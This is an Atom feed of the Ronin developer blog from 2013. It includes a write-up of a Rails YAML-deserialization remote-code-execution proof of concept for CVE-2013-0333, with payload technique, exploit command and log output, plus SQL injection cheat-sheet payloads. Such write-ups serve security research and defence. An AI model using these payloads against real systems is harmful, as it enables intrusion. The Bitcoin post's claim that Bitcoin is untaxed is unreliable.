<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Ronin Developer Blog</title>
  <icon>http://ronin-ruby.gihtub.io/images/favicon.ico</icon>
  <logo>http://ronin-ruby.gihtub.io/images/logo.png</logo>
  <link type="application/atom+xml" href="http://ronin-ruby.gihtub.io/blog/atom.xml" rel="self" />
  <link type="text/html" href="http://ronin-ruby.gihtub.io/blog/" />
  <updated>2013-04-05T18:50:11-07:00</updated>
  <id>http://ronin-ruby.gihtub.io/blog/</id>
  
  <entry>
    <title>Now accepting Bitcoins</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/04/05/now-accepting-bitcoins.html" />
    <updated>Fri Apr 05 00:00:00 -0700 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/04/05/now-accepting-bitcoins.html</id>
    <content type="html">&lt;p&gt;Ronin is now accepting &lt;a href=&quot;http://bitcoin.org/&quot;&gt;Bitcoin&lt;/a&gt; donations!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;bitcoin:12tWhiWQaNxc5q37BVt6HZv5iihbRUHayC?label=ronin&quot;&gt;12tWhiWQaNxc5q37BVt6HZv5iihbRUHayC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We decided to start accepting donations as a way for users to help support the
development of Ronin. Once enough Bitcoins have been donated, we can set
Bounties for new features, tip contributors or even buy a domain name
from &lt;a href=&quot;https://www.namecheap.com/support/payment-options/bitcoin.aspx&quot;&gt;NameCheap&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Bitcoin is a virtual p2p crypto-currency, that is not regulated or taxed.
This makes transferring Bitcoins far easier and safer than transferring funds
via PayPal. An increasing amount of &lt;a href=&quot;http://www.bitmit.net/&quot;&gt;online&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Real_world_shops&quot;&gt;offline&lt;/a&gt; merchants are
starting to accept Bitcoins. Bitcoins can be bought and sold on many of the
online &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot;&gt;exchanges&lt;/a&gt; with native currency.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Ideas Pages</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/03/30/ideas-pages.html" />
    <updated>Sat Mar 30 00:00:00 -0700 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/03/30/ideas-pages.html</id>
    <content type="html">&lt;p&gt;Well, the deadline to submit Mentor Organization applications to &lt;a href=&quot;http://www.google-melange.com/gsoc/homepage/google/gsoc2013&quot;&gt;Google Summer
of Code 2013 (GSoC)&lt;/a&gt; crept up on us again. Unfortunately, we were unable
to submit an application in time. One of the requirements we were missing was
ideas for projects that Students could work on.&lt;/p&gt;

&lt;p&gt;In order to prepare for Google Summer of Code 2014, we created Ideas pages on
the Wikis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin/wiki/Ideas&quot;&gt;ronin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-asm/wiki/Ideas&quot;&gt;ronin-asm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-bruteforcers/wiki/Ideas&quot;&gt;ronin-bruteforcers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-exploits/wiki/Ideas&quot;&gt;ronin-exploits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners/wiki/Ideas&quot;&gt;ronin-scanners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql/wiki/Ideas&quot;&gt;ronin-sql&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;If you have an idea for a cool feature that Ronin is currently missing,
add it to one of the Ideas pages. Who knows, someone might implement one of
your ideas sooner than you think. ;)&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Rails PoC exploit for CVE-2013-0333</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/01/28/new-rails-poc.html" />
    <updated>Mon Jan 28 00:00:00 -0800 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/01/28/new-rails-poc.html</id>
    <content type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Same YAML &lt;a href=&quot;/blog/2013/01/09/rails-pocs.html&quot;&gt;vulnerability&lt;/a&gt;, different code-path.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/4660248&quot;&gt;rails_omakase.rb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Hot on the heels of &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ&quot;&gt;CVE-2013-0156&lt;/a&gt;, &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/1h2DR63ViGo&quot;&gt;CVE-2013-0333&lt;/a&gt; was announced.
A code-path was discovered that allows &lt;code&gt;text/json&lt;/code&gt; requests to be
translated into and parsed as YAML. This behavior &lt;em&gt;only&lt;/em&gt; exists in
Rails 2.3.x and 3.0.x.&lt;/p&gt;

&lt;p&gt;This exploit uses the same YAML deserialization technique as the previous
&lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;Rails PoC exploit&lt;/a&gt;. Please see the previous &lt;a href=&quot;/blog/2013/01/09/rails-pocs.html&quot;&gt;write-up&lt;/a&gt; for a
detailed explanation of how to achieve Remote Code Execution (RCE) via
&lt;code&gt;YAML.load&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;ActiveSupport::JSON&lt;/h2&gt;

&lt;p&gt;In Rails 3.0.x, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/decoding.rb&quot;&gt;ActiveSupport::JSON&lt;/a&gt; acts as a proxy to various JSON parsing
libraries. By default Rails 3.0.x provides the &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/jsongem.rb&quot;&gt;JSONGem&lt;/a&gt;, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yajl.rb&quot;&gt;Yajl&lt;/a&gt; and &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb&quot;&gt;Yaml&lt;/a&gt;
backends. &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/jsongem.rb&quot;&gt;JSONGem&lt;/a&gt; uses the &lt;a href=&quot;http://flori.github.com/json/&quot;&gt;json&lt;/a&gt; gem, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yajl.rb&quot;&gt;Yajl&lt;/a&gt; uses the high-performance
&lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yajl.rb&quot;&gt;yajl&lt;/a&gt; JSON parser, and &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb&quot;&gt;Yaml&lt;/a&gt; attempts to translate JSON into YAML
before passing it to &lt;code&gt;YAML.load&lt;/code&gt;. Oddly enough, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb&quot;&gt;Yaml&lt;/a&gt; (and not &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/jsongem.rb&quot;&gt;JSONGem&lt;/a&gt;)
is the default JSON backend in Rails 3.0.x:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;ss&quot;&gt;ActiveSupport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; ActiveSupport::JSON::Backends::Yaml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The problem with the &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb&quot;&gt;Yaml&lt;/a&gt; backend is that it's &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb#L29-L96&quot;&gt;convert_json_to_yaml&lt;/a&gt; method
is incredibly naive. The method uses &lt;a href=&quot;http://rubydoc.info/stdlib/strscan/StringScanner&quot;&gt;StringScanner&lt;/a&gt; to walk through the JSON
string, replacing JSON tokens with their YAML equivalents. The method does not
fully parse the JSON in order to emit proper YAML, nor does it validate that
the input is actually valid JSON. This is our opening.&lt;/p&gt;

&lt;p&gt;However, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb#L29-L96&quot;&gt;convert_json_to_yaml&lt;/a&gt; does replace all &lt;code&gt;:&lt;/code&gt; characters with &lt;code&gt;:&lt;/code&gt;,
in an attempt to convert JSON Hashes into YAML Hashes. This will corrupt
our YAML tags:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;yaml&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection&amp;quot;&lt;/span&gt;
&lt;span class=&quot;ss&quot;&gt;ActiveSupport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;Backends&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:convert_json_to_yaml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yaml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;--- !ruby/hash: ActionController: : Routing: : RouteSet: : NamedRouteCollection&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Luckily, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb#L29-L96&quot;&gt;convert_json_to_yaml&lt;/a&gt; also parses JSON unicode-escaped characters:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;ss&quot;&gt;ActiveSupport&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:JSON&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;Backends&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:convert_json_to_yaml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gsub&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;\u003a&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now to get the YAML payload from &lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;rails_rce.rb&lt;/a&gt; executing. The &lt;code&gt;module_eval&lt;/code&gt;ed
code in &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/actionpack/lib/action_dispatch/routing/route_set.rb#L166-L171&quot;&gt;ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access&lt;/a&gt;
was similar to that of Rails 2.8.x, and was changed in &lt;a href=&quot;https://github.com/rails/rails/blob/v3.1.0/actionpack/lib/action_dispatch/routing/route_set.rb#L166-L171&quot;&gt;Rails 3.1.x&lt;/a&gt;.
Due to this difference, we simply reused the Rails 2.x payload from the
&lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;rails_rce.rb&lt;/a&gt; exploit.&lt;/p&gt;

&lt;p&gt;After some minor modifications to &lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;rails_rce.rb&lt;/a&gt; we had a working exploit:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ rails_omakase http://localhost:3000/secrets &quot;puts 'lol'&quot;

lol

Started POST &quot;/secrets&quot; for 127.0.0.1 at 2013-01-28 18:53:18 -0800
  Processing by SecretsController#show as 
  Parameters: {&quot;_json&quot;=&amp;gt;#&amp;lt;ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x00000002221080 @routes={:&quot;foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n&quot;=&amp;gt;#&amp;lt;struct defaults={:action=&amp;gt;&quot;create&quot;, :controller=&amp;gt;&quot;foos&quot;}, required_parts=[], requirements={:action=&amp;gt;&quot;create&quot;, :controller=&amp;gt;&quot;foos&quot;}, segment_keys=[:format]&amp;gt;}, @helpers=[:&quot;hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url&quot;, :&quot;foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url&quot;, :&quot;hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path&quot;, :&quot;foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path&quot;], @module=#&amp;lt;Module:0x00000002220fb8&amp;gt;&amp;gt;}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.4ms | ActiveRecord: 0.0ms)
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Again?&lt;/h2&gt;

&lt;p&gt;When Rails was updated for &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ&quot;&gt;CVE-2013-0156&lt;/a&gt;, it did not actually fix the
underlying root cause, that the &lt;a href=&quot;https://github.com/tenderlove/psych&quot;&gt;Psych&lt;/a&gt; YAML parser
&lt;a href=&quot;https://github.com/tenderlove/psych/issues/119&quot;&gt;does not have a safe-mode&lt;/a&gt;. As long as developers continue allowing
user-input near &lt;code&gt;YAML.load&lt;/code&gt;, and there is no safe-mode to prevent YAML from
deserializing arbitrary Classes, YAML deserialization vulnerabilities will
continue to pop up. In the meantime, there is a &lt;a href=&quot;https://github.com/dtao/safe_yaml#readme&quot;&gt;safe_yaml&lt;/a&gt; library, which
provides a safe-mode and does prevent &lt;a href=&quot;https://gist.github.com/4660248&quot;&gt;rails_omakase.rb&lt;/a&gt; from working:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Started POST &quot;/secrets&quot; for 127.0.0.1 at 2013-01-28 21:34:37 -0800
  Processing by SecretsController#show as 
  Parameters: {&quot;foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n&quot;=&amp;gt;{&quot;defaults&quot;=&amp;gt;{&quot;:action&quot;=&amp;gt;&quot;create&quot;, &quot;:controller&quot;=&amp;gt;&quot;foos&quot;}, &quot;required_parts&quot;=&amp;gt;nil, &quot;requirements&quot;=&amp;gt;{&quot;:action&quot;=&amp;gt;&quot;create&quot;, &quot;:controller&quot;=&amp;gt;&quot;foos&quot;}, &quot;segment_keys&quot;=&amp;gt;[&quot;:format&quot;]}}
Rendered text template (0.0ms)
Completed 200 OK in 2ms (Views: 1.2ms | ActiveRecord: 0.0ms)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/nelhage&quot;&gt;@nelhage&lt;/a&gt; has also written a &lt;a href=&quot;https://gist.github.com/4659489&quot;&gt;monkey-patch&lt;/a&gt; for YAML,
that prevents any non-primitive objects from being deserialized. I have tested
this workaround against &lt;a href=&quot;https://gist.github.com/4660248&quot;&gt;rails_omakase.rb&lt;/a&gt; on Ruby 1.9.3-p362 and Rails 3.0.19,
and can confirm it prevents the exploit from working. However, once loaded
it effects all &lt;code&gt;YAML.load&lt;/code&gt; calls and cannot be disabled.&lt;/p&gt;

&lt;h2&gt;Omakase?&lt;/h2&gt;

&lt;p&gt;I named this exploit &lt;a href=&quot;https://gist.github.com/4660248&quot;&gt;rails_omakase.rb&lt;/a&gt;, as an ode to &lt;a href=&quot;http://david.heinemeierhansson.com/2012/rails-is-omakase.html&quot;&gt;Rails Is Omakase&lt;/a&gt;;
I highly recommend the &lt;a href=&quot;http://gilesbowkett.blogspot.com/2013/01/a-dramatic-reading-of-rails-is-omakase.html&quot;&gt;dramatic reading&lt;/a&gt;. In the blog post,
David Heinemeier Hansson (DHH) discusses the criticism Rails Core has received
over their changes to default settings. His main complaint is that merely
complaining about the changes, and not contributing code, does not improve the
development process of Rails.&lt;/p&gt;

&lt;p&gt;This vulnerability was the result of &lt;a href=&quot;https://github.com/rails/rails/commit/a87683fb38d6cf66f39a7bd3faa6c969c63b1f46&quot;&gt;changing the default JSON backend&lt;/a&gt; from
&lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/jsongem.rb&quot;&gt;JSONGem&lt;/a&gt; to &lt;a href=&quot;https://github.com/rails/rails/blob/v3.0.19/activesupport/lib/active_support/json/backends/yaml.rb&quot;&gt;Yaml&lt;/a&gt;. Additionally, it is unclear why anyone would ever
consider attempting to convert JSON into YAML, without fully parsing it first.
Like wise, &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ&quot;&gt;CVE-2013-0156&lt;/a&gt; is equally perplexing, who could possibly think any
good would come from embedding YAML in XML?&lt;/p&gt;

&lt;p&gt;Despite DHH's reassurance that Rails Core has the best of intentions when they
change default settings, they can and do make mistakes.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>RSnakes SQLi Cheat Sheet using ronin-sql 1.1.0</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/01/22/rsnake-sqli-cheat-sheet-using-ronin-sql-1-1-0.html" />
    <updated>Tue Jan 22 00:00:00 -0800 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/01/22/rsnake-sqli-cheat-sheet-using-ronin-sql-1-1-0.html</id>
    <content type="html">&lt;p&gt;After the release of &lt;a href=&quot;https://github.com/ronin-ruby/ronin-sql#readme&quot;&gt;ronin-sql&lt;/a&gt; 1.0.0, I wondered if we could recreate
&lt;a href=&quot;http://ha.ckers.org/sqlinjection/&quot;&gt;RSnake's SQL Injection Cheat Sheet&lt;/a&gt; using the new &lt;a href=&quot;/docs/ronin-sql/Ronin/SQL.html&quot;&gt;Ronin::SQL&lt;/a&gt;
Domain Specific Language (DSL). Let's see how far we can get.&lt;/p&gt;

&lt;p&gt;Normal SQL Injection:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; 1 OR 1=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Normal SQL Injection using encapsulated data:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39; OR &amp;#39;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;escape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1&amp;#39; OR &amp;#39;1&amp;#39;=&amp;#39;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Blind SQL Injection:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 AND 1=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Blind SQL Injection to attempt to locate &lt;code&gt;tablename&lt;/code&gt; by brute-force
iteration through table name permutations:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;COUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tablenames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




